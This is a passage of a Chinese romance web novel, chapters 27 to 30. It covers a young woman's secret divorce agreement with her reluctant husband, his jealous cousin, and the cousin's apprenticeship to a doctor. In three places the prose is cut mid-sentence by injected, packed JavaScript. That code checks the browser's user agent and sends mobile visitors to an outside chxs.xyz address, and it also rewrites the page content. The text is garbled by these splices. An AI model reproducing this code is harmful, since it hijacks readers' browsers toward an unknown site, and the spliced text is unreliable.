方轻尘默默注视着柳忆安离去的背影,直到她完全溶于漆黑的夜色。 直到熄了灯,躺在床上,他仍沉浸在巨大的幸福之中。 今日和她单独相处这么久,是他从前想都不敢想的。 往日里,她总是一幅客气模样,虽待人亲近,心里却总觉得被她拒之于千里之外。 今日不知是不是喝了酒的原因,她终于在自己面前展现了孩子气的那面。 这是不是意味着自己和她的关系更进一步了? 方轻尘的心如小鹿乱撞般,连呼吸都乱了节奏,直到天色将亮时才睡着。 这一夜,同样没睡好的,还有秋川白。 虽然知道柳忆安去方轻尘的房中只是一场做给外人看的戏码,但他心里忍不住地烦躁。 “华来,你去瞧瞧书房的灯亮着没?” 秋川白在卧房里走了一圈又一圈,没等到柳忆安回来,想知道她是不是去了书房。 “公子,少主书房还是黑的,没有点灯。”华来回禀道。 “她还没回来吗…”秋川白喃喃自语,“不是说好坐一会儿便出来吗…” “公子,少主进屋不过半个时辰,哪里会这么快就出来。”华来安慰道。 “才半个时辰吗?不对,半个时辰的时间也不短了,想来她快回来了。” 秋川白站起身,往小厨房走去。 “她今日饮了酒,我去做些醒酒汤给她备上。” “华来,你去盯着书房,待妻主回来了,要第一时间告诉我。” “是,公子”华来接下命令,守在了书房周围。 秋川白如今终于可以自行生火做饭,他小心地挑出品相不错的红枣,同生姜洗净后,一起在炖盅里小火熬制。 他看着炉子里跳动的火光,心里挂念着柳忆安到底在干些什么,为何能在方轻尘的房中待这么久。 待红枣的香气从炉子里飘出,他还未等到柳忆安回屋的消息,便留下春生在这里看着炉子,自己偷偷跑到了方轻尘的屋外。 当初为方轻尘安排卧房时,他特意挑选了这间离书房很远的角落,今日他却觉得这间屋子还是不够远,不如过几日便将方轻尘安排到映杏居好了。 方轻尘的屋子里亮着灯,秋川白躲在长廊转角的暗处,听见屋里传来隐隐约约的对话声,只是听不清两人到底在说些什么。 他能感觉到,柳忆安是开心的,她一直在说话,还时不时地听见她爽朗的笑声。 秋川白就这样悄悄地躲在这个阴暗的角落,无力地靠在身后的墙面,克制着自己闯入房间的冲动。 「方轻尘只是客人,不是小侍,自己不能像个妒夫般,否则一定会遭她厌弃。」 他不敢再胡思乱想,就默默等待着,直到月亮高悬于头顶,照亮了整个院子,柳忆安才从房间里出来。 他不知道究竟等了多久,只知道自己的双腿已经僵住,当他迈开腿准备跟上柳忆安时,一个趔趄让他差点摔好,所幸扶住了身侧的墙。 等双腿恢复了知觉,他赶紧跑到小厨房,盛好了醒酒汤,送到了书房。 “妻主,”秋川白敲了敲门,“我给你煮了些醒酒汤,要不要用一些。” 柳忆安惊讶于秋川白还没睡,她打开了书房门,看见秋川白端着一个精致的白瓷小碗,用期待的目光看着她。 “这么晚了,怎么突然想起给我煮醒酒汤。” 柳忆安微微侧身,让秋川白进来。 “你不常饮酒,喝点醒酒汤会让你舒服些。” 秋川白将小碗放在桌上,并没有要离开的意思。 柳忆安以为秋川白是想监督自己将醒酒汤喝完,便一口气喝尽,把空碗递给了他。 “多谢了,饮下这汤后确实舒服了一些。” 秋川白接下空碗,仍一动不动地站在原地。 “你…还有什么事吗?”柳忆安疑惑地看向秋川白,不知道他是何意。 “今日你还要待在书房吗,不如回房睡吧。”秋川白开口邀请道。 柳忆安摇摇头,拒绝了他的提议。 “这几日太忙,功课有些落下,晚上需得看看书,就不回卧房了。” “你是不是还在生气,所以不愿回屋?”秋川白鼓起勇气,将自己的担心问了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你若有什么不习惯的,可以告诉川白,诶,刚提到他,他就来了。”看到秋川白出现,曲氏将他招呼到自己身边,“川白,坐我旁边吧,以后方公子的事情就拜托你上心了,你们是表兄弟,说起话来更方便些。” 秋川白轻轻颔首,对着曲氏答应道:“是,女婿定会安排好。” 说完,他转身看向方轻尘。 “不知表弟在柳府是否还习惯,若觉得拘束,可以去映杏居暂住。如今妻主不住书院,我便也无需回到那里了,新院子白白空下岂不可惜?不如表弟住过去,一来表弟会更自在些,二来也算帮我看住那院子。不知轻尘表弟意下如何?” 方轻尘好不容易才有机会守在柳忆安身边,自然不愿意搬出去,便一口回绝道:“多谢表兄好意,我虽名义上是贵客,但总归是受了柳府照付,我愿意留在这里做一些粗活,也算是回报柳府的庇护之恩。” 方轻尘这话说得客气,让曲氏觉得他十分懂事,想留他在自己身边。这几日妻主忙碌得很,他身边连个说话的人都没有,好在方轻尘愿意陪自己聊天,自己总算没那么无聊了。 “川白,我知道你是一片好心,只是你平日里忙着管家,我这身边连一个同我说话的人都没有,如今轻尘来了,就让他留在这里吧,就当陪我这个老人了。” 曲氏顺着方轻尘的话说下去,一番话让秋川白难以拒绝。 “既然岳父都这么说了,我怎还敢让表弟搬走呢。表弟愿意留下,我作为哥哥当然欢迎。” 27. 发现和离书 “表兄,你同柳少主女才郎貌,情投意合,十分相配。我留在府里,只是为了干些粗活回报柳府对我的恩情罢了。你若是有所忧虑,我可以不再出现在柳女君面前。” 方轻尘察觉到秋川白神情不悦,心中猜想多半是因为柳忆安昨日在自己房中停留过久,于是在与曲氏告别后,郑重地向秋川白承诺。 方轻尘从未肖想过自己和柳忆安能有什么超出礼数的关系,也从未想过破坏表兄和柳姑娘的姻缘。 在和柳忆安为数不多的相处中,他能感受到柳忆安对表兄的爱慕。而表兄,似乎也从一开始的抵触,慢慢对柳姑娘上心起来。方轻尘打心里为两人感到开心。 只要柳忆安过得幸福就好,他不在意这个幸福是谁给她的。 对方轻尘而言,每天能远远看她一眼,就心满意足了。 “表弟无需多虑,”秋川白的脸上浮现出略显僵硬的笑容,语气却显得淡然,“我只是担心表弟在柳府住得拘束罢了,既然你不介意,我也就放心了。” 方轻尘正要道谢,却听秋川白话锋一转:“只是妻主现下心系春闱,还请表弟避开书房附近,以免打扰到妻主温书。” “是,轻尘知晓了,会避开柳少主的。”方轻尘点点头,恭敬地答道。 尽管秋川白将话说得冠冕堂皇,方轻尘还是敏锐地察觉到了他对自己的敌意。 “表兄无需担忧,柳姑娘昨日只是可怜我初来乍到,同我简单说了些府里的情况,才会耽搁了时间。”方轻尘耐心地同秋川白解释,“况且柳姑娘对表兄一片赤诚,是旁人都看在眼里的。” “是吗?”秋川白不禁苦笑一声,只有他自己明白,自己是如何一步步让柳忆安伤了心,如今柳忆安怕是见都不想见自己。 “表兄可还是在担心古籍之事?此事是有人故意陷害柳少主,想来少主也不会因此事怪你,表兄不要一直为此事伤神,以免忧劳成疾。”方轻尘见秋川白忧心忡忡的模样,以为他还在因古籍之事自责。 提到古籍,秋川白的心又揪了起来,他托母亲调查顾家的情况,这几日却毫无进展,他决定回家亲自问问情况。 “不用在意我,你先随意在柳府逛一逛吧,我还有点事,就不同你一起了。” 两人道别后,方轻尘自己一个人在柳府里转了起来,他想找到刘伯,向他学习一下如何做蒸鱼。 他在厨房转了一圈,只有一个浣女在水井旁洗衣服,没有见到其她人的身影。 “这位姑娘,多有叨扰。请问刘伯在吗?我想向他请教一些事情。” 浣女听他语气亲切,便热情地回答道:“刘伯出去采买了,估计马上就回来了。你是新来的下人吗?怎么之前从未见过。” “是,我是新来的下人,还未请教姑娘姓名?”方轻尘微微作揖,客气道。 “我叫小兰,也算是府里的老人了,以后你有什么不懂的就问我。”小兰见方轻尘长相俊美,不禁心生好感。 “多谢小兰姑娘,在下方轻尘,也请小兰姑娘多多赐教。” 小兰觉得这个名字有些耳熟,但没有想起究竟在哪里听过。 “你名字还怪好听嘞,不像是我们做下人的。”小兰由衷地夸赞道,话音刚落,想起小姐的旧衣服被自己忘在了书房,开口请求道,“你能帮我个忙吗?小姐的旧衣服我忘拿过来了,能麻烦你去书房把小姐的外袍拿过来吗?” “好,麻烦小兰姑娘稍等片刻。” 方轻尘转身向书房走去。 他本想拜托小霜将衣服拿出来,毕竟自己刚答应了秋川白不会叨扰柳忆安温书,却见书房连带着周围空无一人。 他敲了敲书房门,无人回应,只好自己走进去,将挂在架子上的外袍拿起。 他摸到衣服口袋似乎有什么东西,将那东西掏出来一看,竟是一张和离书。 竟然是柳忆安和秋川白的和离书。 和离书上,两人已经签了字,摁了指印,只是上面写的时间却是半年后。 从纸张和墨迹上看,这张和离书已经签了有段时日了,绝不可能是最近才写的。 方轻尘突然间联系起来了所有的前因后果,原来秋川白并非是在新婚夜突然想通,而是同柳忆安坦白了一切,早早就和她签下了和离书。 难道两个人的恩爱是在外人面前做戏?可是他看柳忆安瞧秋川白的眼神分明是有情的…… 这两个人究竟是怎么回事?这封和离书到底是什么时候签下的? 方轻尘默默地将和离书放回原处,正想将衣服挂回去,假装自己没有找到衣服,书房的门却在此时被突然推开,是柳忆安回来了。 见方轻尘拿着自己的衣服,柳忆安慌乱地叫住了他。 “轻尘!衣服给我就好。” “好,刚刚小兰姑娘托我来取需要洗的外袍,我见书房没人,就擅自进来了,请姑娘原谅。”方轻尘将手中的衣服递过去,补充道,“我才刚进来,姑娘就回来了。” 柳忆安今早换了衣服,发现和离书还在旧衣服里,慌忙去找浣女,害怕和离书被她人发现。从小兰口中得知了是方轻尘来取衣服后,便连忙赶回书房,见对方神色正常,不像是发现了自己的秘密,柳忆安这才放下心来。 “劳烦轻尘公子了,公子不必做这些小事,小兰唐突了公子,我替她向公子道歉。” 方轻尘露出善解人意的笑容,说道:“小兰姑娘待人热情,何来的唐突,忆安不必与我如此客气,倒显得生疏了。” “话说轻尘公子身边还没有一个伺候的人,过两天让管家带一个小厮回来吧,方公子可以和管家一同去挑选。”柳忆安突然发现方轻尘并未带小厮来柳府,想为他安排一个贴身的小厮。 方轻尘摇摇头,“我一个人习惯了,若有个人时刻在我身边,反倒不习惯,就先这样吧。” 见方轻尘不愿,柳忆安也不勉强:“好吧,若公子改变主意,再与田管家说就好。” 柳忆安说完这句话后,房间里突然陷入了巨大的沉默之中。 方轻尘还在疑惑柳忆安同秋川白的关系,他想知道为何柳忆安明知秋川白不愿嫁给她,却还是待秋川白如此体贴,是柳忆安对秋川白痴心一片,还是两人在外人面前做的一场戏。 他想问个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“这倒也是,小主您愿意跟我学,我一定给你讲得明明白白的,以后我若不在了,也有您能做给她吃。”说到伤心处,刘伯抬起袖子擦了擦眼泪,“这做饭啊,大体都差不多,只是有一些细节一定要留心,我仔细说与你听。” 刘伯一边下厨,一边将话梅小排的做法细细地传授给方轻尘,方轻尘在一旁仔细地学着,一刻也不曾分心。 终于,菜出锅了。 “好了,你看,这样做出来的话梅小排,色香味俱全。”刘伯得意洋洋地炫耀自己的杰作。 “难怪忆安念念不忘,只怕今日过后,我也同小姐一样,天天盼着刘伯的手艺。”方轻尘恭维道,“只学一遍怕是做不出您的味道,恐怕今后我得多向您请教。” 刘伯被夸得心花怒放,“小主太谦虚了,您刚才学得那么认真,哪里会学不会。不过您若有什么问题,随时来问我就成。” 刘伯见方轻尘不仅将小姐放在心上,对待自己也是十分地谦逊,心里十分欢喜,想把自己的手艺都传授给他。 “这几日我将小姐喜欢的菜都教给你。” “刘伯愿意教,晚辈一定认真学。” 听到方轻尘这样说,刘伯开心地直点头。 饭菜都做好后,方轻尘屏退了一旁的下人,准备将菜亲自端去书房。 他提着食盒轻快地走到书房门口,正欲敲门时,身后传来秋川白的声音。 “表弟,不是说好了不要来书房打扰妻主吗?怎么不过一转眼的功夫,就在这里见到你了。” 28. 决心 还没等方轻尘回复,柳忆安就打开了书房的门。 “是我叫他来同我一起用膳的。” “原来是妻主的吩咐,”秋川白见柳忆安替他说话,压住了心中的不快,“既然如此,不如我们一起用膳吧。” “好啊,坐下来一起吃吧。”柳忆安并不介意。 方轻尘也正好想找机会观察秋川白与柳忆安的关系,“表兄来得正好,想来柳姑娘也正盼着表兄。” 听到方轻尘的话,秋川白抬眼看向了柳忆安,他期待对方在听到方轻尘的话后能有一些反应。 就在不久之前,每当有人聊到柳忆安同自己的关系,她总会害羞地红了脸,用懵懂又明亮的眼神看向自己。 他总是默默地转过头,躲闪着她的目光。 而现在,面对方轻尘的这句话,柳忆安却没有任何反应。 没有承认,没有拒绝,没有表情,也没有再用那样的眼神看向自己。 秋川白愣在原地没有动,心里一阵刺痛。 “川白表兄?快入座吧。” 见秋川白久久未动,方轻尘出言提醒道。 秋川白回过神,挨着柳忆安坐了下来。 “妻主喜欢吃什么,让川白为您布菜,”秋川白故意在方轻尘扮作和柳忆安非常亲密的样子,“我先给妻主盛碗汤。” 柳忆安本想告诉他不必了,可无奈方轻尘还在场,她不敢在第三人面前泄露自己和秋川白和离的事情,只好应下秋川白的示好。 “多谢川白,”柳忆安的语气非常温柔,神情和动作却有一丝僵硬,“你不必为我操劳,照顾好自己我才能放心。” 方轻尘没有错过柳忆安的表情,他敏锐地捕捉到了柳忆安的变化。 他注意到柳忆安不动声色地将所有餐具的位置调整了一遍,原本她的杯子放在挨着秋川白一侧,不知不觉中杯子被移到了远离秋川白的一边。 他判定柳忆安在躲避秋川白。 “轻尘公子,你快尝尝话梅小排,看合不合你的口味。”柳忆安招呼道。 “川白,你也尝尝,看看味道如何。”想起自己还要和秋川白演戏,柳忆安赶紧补充一句。 方轻尘尝了尝,排骨炖得十分软烂,话梅的酸恰到好处地中和了排骨的腻。 “果然好吃,怪不得忆安念念不忘。”方轻尘夸赞道。 方轻尘对柳忆安的称呼让秋川白觉得刺耳极了。 “妻主向来对美食很有见地,”秋川白夹起一块小排,放入柳忆安碗中,“之前妻主给我买的那些点心,都很好吃,等我得空的时候也带表弟去尝尝。” “那我先提前谢谢表兄了。” 这一顿饭,三个人都各怀鬼胎。柳忆安对秋川白刻意的讨好感到不适,秋川白对方轻尘的一些表现十分介怀,而方轻尘,确认了柳忆安对秋川白再无往日里的爱慕。 终于吃完饭了,秋川白借要同柳忆安交代顾家消息的理由,将方轻尘打发了出去。 待方轻尘离开了房间,秋川白交代了母亲上午带回的消息。 “妻主,母亲打探到的消息说,顾家似乎在给户部侍郎做事,你们书院之前被检举的那个姓陈的举子,不久前写过一篇控诉户部监管不力的文章,母亲觉得这两件事逃不开关系。” 柳忆安点点头,她打探的消息和秋川白的说法差不多。 “多谢秋郎,这件事确实比我一开始想象得更复杂,你和秋家主以后不要再帮我打探消息了,以免将来出事波及到你们。” “妻主为何这么说,我既已嫁给了你,便和你是一家人,何来波及一说。”秋川白不愿柳忆安疏远自己,“况且这件事本就是因我而起,我当然要为此复杂。” “你只是被利用而已,没有你,也会有其她人。”柳忆安摇摇头,无力地解释道,“你不必因此心存愧疚,更不必负责什么。” “就算我不心存愧疚,我本就是你夫郎…” “你我都清楚,我们不是真正的妻夫,”柳忆安打断了秋川白的争辩,“待和离书生效后,你大可一走了之,从此和柳府一干二净,实在不必趟入这浑水中来。” “可是我愿意陪你一起趟入这浑水中,”秋川白情绪激动,声音逐渐大了起来,“我不会一走了之的,你明明是心悦我的,你不要让我走。” “你先冷静一下吧。” 柳忆安站起身,想要离开,却被秋川白从身后一把抱住。 “妻主,妻主,我们就当没有那份和离书,好不好?”秋川白声音颤抖着哀求道,“我心悦你,我真的心悦你,我不能离开你,你不要让我离开,我们今晚就圆房吧。” “你说什么?”柳忆安以为自己听错了。 “我们今晚就圆房吧妻主,我想和你变成真正的妻夫,以后再也没有人能介入到你我之间。”秋川白将头埋在柳忆安的肩上,哽咽地恳求道。 “你先放手,我们好好说。”柳忆安被秋川白紧紧抱住,动弹不得。 “我不放,除非你答应我。” “秋川白,你别逼我厌恶你。”柳忆安见秋川白不肯松手,只好放出狠话。 害怕真的惹急了柳忆安,秋川白松开了环住柳忆安的手,转而拉住了她的衣袖。 “你不要讨厌我,我听你的话。” 柳忆安转过身,看着秋川白快要流出泪的双眼,觉得讽刺极了。 “你第一次见我的时候,也是这样哭着恳求我。”柳忆安想起和秋川白的大婚,“你哭着求我放你自由,你说以后我有什么需要,一定在所不辞,任我差遣。” 秋川白点点头,他记得自己的承诺。 “那我现在就要你兑现这个承诺。” 柳忆安还未说出那个承诺是什么,秋川白却知道了她即将要说出的话,他急切地摇着头:“不要说,求求你不要说。” 柳忆安不管不顾地说下去:“和离书生效后你便离开吧,就像我们说好的那样。这就是我的需要,也请你一定要遵守承诺。” 抓住柳忆安衣袖的手无力地垂下,新婚夜的自己有多么高兴,如今的自己就有多么绝望。自己当时的承诺化作了一把利刃,在身体里来回切割着,让他觉得自己已经支零破碎。 “妻主…”秋川白站在原地低声哀诉,柳忆安却没有回头,径直离开了房间。 方轻尘一直候在门外,未曾走远,将两人的话悉数听在耳里,知道了这两人之间到底是怎么回事。 看来自己的猜测是正确的,秋川白确实在新婚那日同柳忆安签了和离书,并许下了一个承诺。而之后,秋川白为柳忆安做的种种一切,想来是为了报答她愿意放自己自由的恩情。 柳姑娘肯定是心悦过秋川白的,她曾经的眼神透露了一切,只是秋川白伤透了柳姑娘的心,让她逐渐放下了这份喜欢。 方轻尘心疼地看着柳忆安落荒而逃的背影,她是那么好的女子,本该有个爱她,敬她,崇拜她的夫郎…… 多可笑啊,那么多男子向往的女君,却在大婚当日被要求和离。 可是,自己也是造成这一切的罪魁祸首之一,若不是他扮作秋川白和柳忆安拜堂,柳忆安更早知道秋川白不愿嫁给自己的话,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14904128|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会有这么荒唐的一幕发生。 方轻尘知道,即使他不答应,秋思雨也会找来别人替秋川白拜堂,可他还是痛恨自己成为伤害柳忆安的助力。 方轻尘神情复杂地看了秋川白一眼,他感激表兄为自己挺身而出,让自己有机会进到柳府。如果忆安姑娘对他还有心意,自己是绝不会介入她们之间,他甘心一辈子做个下人照顾他和忆安姑娘。 但如今忆安姑娘已经放下了对秋川白的感情,方轻尘决定从此不再隐藏自己的心意。 他不期待柳忆安喜欢上自己,他只是想坦然地关心她,以自己的名义,而不是借着秋川白表弟的身份。 秋川白的恩情,他会从别的地方报答。 下定决心后,方轻尘追上了柳忆安离开的方向,却见到柳忆安摔倒在地上。她掀开了袖子,在查看自己胳膊上的擦伤。 “柳姑娘!”方轻尘小跑到柳忆安身边,小心地将她从地上扶起来,关心地问道,“胳膊上受伤了吗?” “有一点小擦伤,没关系的。”柳忆安被人发现了自己的窘态,有些不好意思。 方轻尘有点心疼,“方便让我看一下吗?” 柳忆安将胳膊递了出去,“没事的,你看,都只是些小伤,过两日就好了。” 伤口虽然不大,但表面却覆盖了一层泥沙,方轻尘将柳忆安扶到一旁的凉亭里坐下,嘱咐道:“忆安姑娘现在这里等我一会儿,我去拿些白酒和药膏过来。” 柳忆安不想拂掉方轻尘的一片好意,点点头,在原地等待着。 一转眼的功夫,方轻尘就带着一大堆东西回来了,他蹲到柳忆安面前,隔着一条手帕,轻柔地抓住了她受伤的胳膊。 “柳姑娘,我们需得先用白酒冲洗一下伤口,会很疼。” “无妨,我不怕疼。”柳忆安对着方轻尘笑了笑,示意自己并不害怕。 方轻尘快速地将伤口冲洗完成,将药膏一点点地涂抹到伤口上。 “这个药膏是我母亲的药方,抹上这个伤口会恢复得很快。” “你母亲的药方?”柳忆安感到疑惑,“不是说……” 意识到自己提起了方轻尘的伤心事,柳忆安赶紧闭上了嘴。 “我母亲是在我还小的时候就过世了,”方轻尘不介意提到自己的过去,“她过去是村里有名的大夫,这个药方是我小时候从她的笔记里看到的,就自己尝试着做了出来,没想到效果还挺好的。” “原来是这样,”柳忆安没想到方轻尘竟然会制药,“除了这个药膏,你还试过别的吗?” 方轻尘点点头,答道:“我祖母也擅医术,小时候我跟着她学过如何分辨草药,若我患了风寒,都是自己去山里寻草药,熬些汤剂喝。” 方轻尘将伤口包扎完毕,帮柳忆安把袖子放了下来,然后一边收拾着眼前的瓶瓶罐罐,一边给柳忆安讲着自己的童年。 “我很喜欢看母亲的行医的记录,还想过像母亲一样成为一名大夫,只可惜祖母觉得男子不便行医,不愿意教我这些。” 柳忆安听出了方轻尘话里的遗憾,试探地问道:“那你如今还愿意学医吗?城里的明大夫向来对所有人一视同仁,从不轻视男子。由柳家出面作保,她一定愿意收你为徒。” “真的吗?”方轻尘怔在原地,眼神里透出难以隐藏的欣喜。 身为男子而不能学医是他从小的遗憾,他早已接受了这个事实,却没想到柳忆安竟愿意为自己寻一个机会。 “若明大夫愿意收我为徒,轻尘定当日夜研习,绝不会辜负忆安姑娘的一片好意。” 29. 难怪 确认了方轻尘学医的决心,柳忆安马上就找到了明大夫,向她讲明了事情的前因后果。 “方公子啊,我对他有些印象,”明大夫陷入回忆,“当初你掉下山崖,方公子也出力救了你。对吧采薇?” “是啊,我和秋公子到达山洞的时候,他已经照顾你好一会儿了。” 采薇对这件事情的印象特别深,那个时候,正是因为方轻尘妥善的照顾才稳住了柳忆安的状况,若非如此,恐怕热毒早已侵入五脏六腑,大罗神仙也难救回柳忆安的性命。 “这个方公子还真是懂得一点医理,师傅,我觉得收他为徒也未尝不可。”采薇心里感激方轻尘救了自己的好友,替他向师傅说好话。 “唉,我们师门是从未有过收男子为徒的先例的。”时大夫陷入两难,“可是方公子既然是忆安的救命恩人,便也是我们的恩人。” 见时大夫还有些犹豫,采薇继续劝说道:“师傅,你之前不是教育我,医者就要敢为人先,有神农尝百草的勇气,不能拘于现有的药方。方公子有一颗医者仁心,也和我们有缘分,您就当师门第一个收男弟子的人吧。” “我也是喜欢这个孩子的,”时大夫迟疑地看了柳忆安一眼,说道,“只是他现在是忆安的侧房,若是总跟着我们抛头露面,我怕会有人借此事中伤忆安啊。” 柳忆安没想到时大夫是担心自己的声望,于是赶紧将纳侍这件事解释清楚。 “时大夫,我纳他为侍并非是出于女男私情,只是借柳家的身份为方公子上一个户籍,阴差阳错之下才成了今日这种局面。如果他能跟随时大夫学医,有一个傍身的技能,才算是柳府真正地帮到了他。” “诶?你纳方公子为侍原来是另有隐情吗?”采薇感到意外,“我还以为是你们两情相悦,当时他不顾危险,头一个下山寻你……” “方公子头一个下山寻我?这是怎么一回事?” 柳忆安苏醒后,大家都尽量避免在她面前提起这场灾祸,所以她并不知晓救援的具体情况,也不知道方轻尘是第一个寻到她的人,仅仅知道方轻尘有帮过忙而已。 “你竟然还不知道,当初救你的时候,山上风雪大,找不到下山的小路,是方公子主动要求用绳子将他从山上吊到山脚。”采薇见柳忆安的表情逐渐凝重了起来,确认了她真的不知情,“据说是他最先在山下找到你的,也是他一直在山洞里陪你等待救援。” “我竟从不知情……”柳忆安心里五味杂陈。 “我还以为你和方公子因为此事而渐生情愫呢,所以得知你要纳他为侍的时候一点也不意外。”采薇忍不住啧了一声,感慨道,“那么大的风雪,听说原本曲主夫都觉得危险,不让他冒险下去呢,是他自己一定要下去寻你。” 难怪母亲父亲得知要帮方轻尘上户籍时,不仅没有任何反对,还强调了很多次他是府上的恩人贵客,原来还有这层缘由。 “可是为什么呢?”柳忆安心里不解,“我不过是他表兄的妻主,他为何如此拼命呢?” 采薇耸耸肩,无奈地回答:“这我就不知道了,我也没娶过夫郎,不太了解男人。” 时大夫看着这两个不开窍的榆木疙瘩,心里默默地为方轻尘叹了几口气,最终还是没有把自己的想法说出来。 “既然方公子有一些医理根基,也有一颗医者仁心,那我就破例收了他为徒吧,”时大夫终于松了口,“只是我这里房间少,他住起来不方便,晚上还是让他宿在柳府吧,白天再来我这里。” 柳忆安替方轻尘感谢道:“多谢时大夫,我相信方公子一定不会辜负您的。” 时大夫摆了摆手,无所谓道:“我视忆安你为自己的女儿,他救了你,就等于我也欠他一个恩情,无所谓辜不辜负。明日卯时,让他来医馆找我。” “好,那晚辈先告辞了。” 柳忆安迫不及待回去,想亲自问方轻尘,她出事的那天,他为何不顾自己安全去救她,又为何这么久没有提到过此事。 柳府里,方轻尘正在同刘伯学做菜,一听到柳忆安正在找自己,立刻停下手里的活去找她。 柳忆安坐在凉亭的石凳上,双手撑住了下巴,还在思考方轻尘为何要那样做。 一阵风吹过,柳忆安没忍住打了个喷嚏,方轻尘见状迅速回屋取了个披风。 “柳姑娘,外面有点起风,这个披风给你。” “方公子,我有点事情想问你,”柳忆安踌躇地接下披风,没有立刻穿到身上,“你还记得我出事那天吗?” “怎么突然问起这件事,是身体出现什么不适了吗?” 方轻尘怎么会忘记那一天,当时所有人都说柳忆安凶多吉少,他偏不信,还好上天眷顾,让他找到了她。 “我没有什么不适,我是想问你,当时是你第一个找到我的,对吗?” 柳忆安盯着方轻尘的眼睛,一字一句地问道。 “嗯,是我。” 方轻尘被盯得有些不知所措,不知道柳忆安问这些是要干嘛。 “其实,自从那日被救,我经常会做一个梦,梦里有一个男子背着我在雪地里行走,他不停地唤着我的名字。”柳忆安垂下眼眸,似乎沉浸在回忆之中,“所以那个不是梦,是真实发生的事情,那个背着我的人是你,对不对?” 柳忆安紧张地捏住了手里的披风,期待着方轻尘的回答。 “是我。”方轻尘低声承认道。 “那之后呢,你带着我去了哪?”柳忆安追问。 “我找到一个山洞,我们在那里等人救我们上去。” “所以也是你为我降温的吗?”柳忆安的声音微微颤抖着,像是在等待一个已知的答案。 “在采薇姑娘来之前,是我。”明明只是在回答柳忆安的问题,方轻尘却不自觉地紧张了起来。 “难怪…难怪…原来这个人竟然是你。” 难怪当初秋川白在面对自己的示好时,显得格外抗拒,原来是自己认错了人。 她当初觉得秋川白能以命相救,对自己大约是有几分情谊的,这才发生了误会。 柳忆安抬起头,看向了方轻尘。方轻尘被突如其来的目光弄得局促,不敢直视柳忆安的眼睛。 “你……” 柳忆安原本想问他为什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916454|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么这么做,为何愿意冒这么大风险去救一个只有一面之缘的陌生人,她想问他是不是早就认识自己。 临开口前,想起了误会秋川白时的尴尬,终是没有问出来。 “对了,今日我和时大夫说好了,她同意你拜她为师了,明日卯时,时大夫在医馆等你。”柳忆安换了话题,将拜师的好消息告诉了方轻尘。 “我可以学医了?” 方轻尘愣在原地,过了一会儿才确信自己没有听错。 “多谢柳姑娘。”他想向屈膝向柳忆安行礼,却被对方拦下。 “不必谢我,采薇为你说了些好话,明日你可以好好谢谢她。” 柳忆安也会方轻尘感到开心,一直以来,他宛如浮萍般无依无靠,别人随便的一句话都能决定了他的去处。如今他总算有机会学一个傍身之技,日后也可以凭自己立足于世间。 “柳姑娘先为我上了户籍,又为我寻到了师傅,轻尘不知道该如何感谢姑娘才好。”方轻尘哽咽着道。 他总想帮柳忆安做些什么,结果每次柳忆安都会回报些更好的东西给他。 “你三番两次救了我的性命,哪里还需要别的感谢。”柳忆安不敢直视方轻尘双眼,扭过头去,补充道,“损了公子清誉,忆安仍觉得惭愧。” 方轻尘摇摇头,他知道这是无奈之举,说到底,还是自己身世有问题,才给柳姑娘和表兄带来这么多麻烦。 关于这件事,他心里只有感激,绝不会有怨恨。 表兄固然是负了柳姑娘,但他绝不会忘记表兄为自己挺身而出的恩情。 该他报答的,他一定会报答…… “只是一个名声罢了,况且,嫁给忆安姑娘是多少男子羡慕不来的事情,怎么姑娘反而觉得亏待了我。” 方轻尘的玩笑话没有让柳忆安放松下来,反而让对方红了脸,飞也似地逃走了。 “我…我先回书房了,方公子请自便。” 待柳忆安回到书房,才发现自己手上还拿着方轻尘的披风。 他的衣服十分简朴,青色的布料已经洗到有些褪色,但能闻到上面残留着好闻的香气。 想来对方虽然过得清贫,却依旧保持着一份讲究。 方公子除了出身不好外,不管是相貌还是性格都非常出挑,祝愿他以后能遇到真心待他的女子。 说起来,自己马上就要动身前往京城了,出发前,得找个合适的时机将和离的事情同母亲讲清楚。 事到如今,她已经完全没有心力同秋川白再有什么纠缠,感情是一件很神奇的事情,当初喜欢他好像就是一瞬间的事情,现在放下他也是一瞬间的事情。 柳忆安打开抽屉,当初给秋川白刻的簪子还静静地躺在那里。 如今这簪子已经失去了送人的意义,柳忆安将它拿了出来,仔细端详了一番,簪到了自己头上。 雕工虽然粗糙,但也是自己用心的成果,不能总将它锁在柜子深处,也要带出去让别人瞧瞧。 自己和秋川白的这段姻缘,总归是到了落幕的时候,只盼望两人真的如和离书上写的那般,一别两宽,余生各生喜乐。 30. 宣布和离 “下周我就要启程去京城了。” 柳忆安突然开口道,她知道秋川白躲在书房外面,正偷偷看着她。 秋川白的心里蓦然一紧。 此时,距离方轻尘拜入明大夫门下,已经过去了两个月。这段时间里,三个人维持着微妙的平衡,如同立在薄冰之上,谁也不愿率先打破这份脆弱的宁静。 似乎是自己的错觉,秋川白总觉方轻尘看向柳忆安的眼神很复杂,绝不仅仅是感激。 